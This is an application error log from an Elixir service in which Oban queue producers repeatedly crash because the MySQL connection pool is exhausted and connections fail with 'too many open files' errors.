State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:34:24.240406Z], limit: 3, uuid: "f0d90118-e8e2-4ac6-bce5-0536e877d8a2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:24.240411Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.202400>, refresh_timer: #Reference<0.2525715032.1121189889.202361>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:34:24.240183Z], limit: 5, uuid: "e9520e43-903b-4c37-8ea5-7fd5a292dfc0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:24.240189Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.44241>, refresh_timer: #Reference<0.2525715032.1121189889.202355>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:41.247000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:41.570000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:43.169000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:43.475000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:45.057000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:47.026000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:48.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:34:36.239490Z], limit: 3, uuid: "1e2829b4-061c-4cd7-9abd-94b005b17ed1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:36.239496Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.44532>, refresh_timer: #Reference<0.2525715032.1068498948.65517>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:34:36.239363Z], limit: 50, uuid: "ed499b10-862f-4c50-a9d7-fd0472df47b1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:36.239369Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.63836>, refresh_timer: #Reference<0.2525715032.1099431938.63822>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:48.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 811ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:34:36.238891Z], limit: 20, uuid: "877f1bd7-6e6f-413d-ab29-2fce68f3603f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:36.238899Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.63837>, refresh_timer: #Reference<0.2525715032.1077673987.44512>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1038ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:34:36.239578Z], limit: 5, uuid: "c51b4070-b807-43c9-93a9-351437cfc457", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:36.239583Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.63835>, refresh_timer: #Reference<0.2525715032.1099431938.63829>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:48.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1001ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:34:36.241134Z], limit: 5, uuid: "e6f26e20-9a50-493f-97d3-e1929e1e7236", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:36.241140Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.63838>, refresh_timer: #Reference<0.2525715032.1077673987.44524>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:34:36.239046Z], limit: 10, uuid: "f554143e-c60a-4550-bf79-a391479a3e40", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:36.239052Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.202637>, refresh_timer: #Reference<0.2525715032.1121189889.202605>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:49.616000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:52.575000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:52.612000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:53.817000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:54.227000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:58.567000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:59.940000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:34:48.238042Z], limit: 3, uuid: "2b5f4f3b-d17e-44d0-a29e-efeb324fc6f0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:48.238048Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.44826>, refresh_timer: #Reference<0.2525715032.1099431938.63917>, dispatch_cooldown: 5, running: %{}}
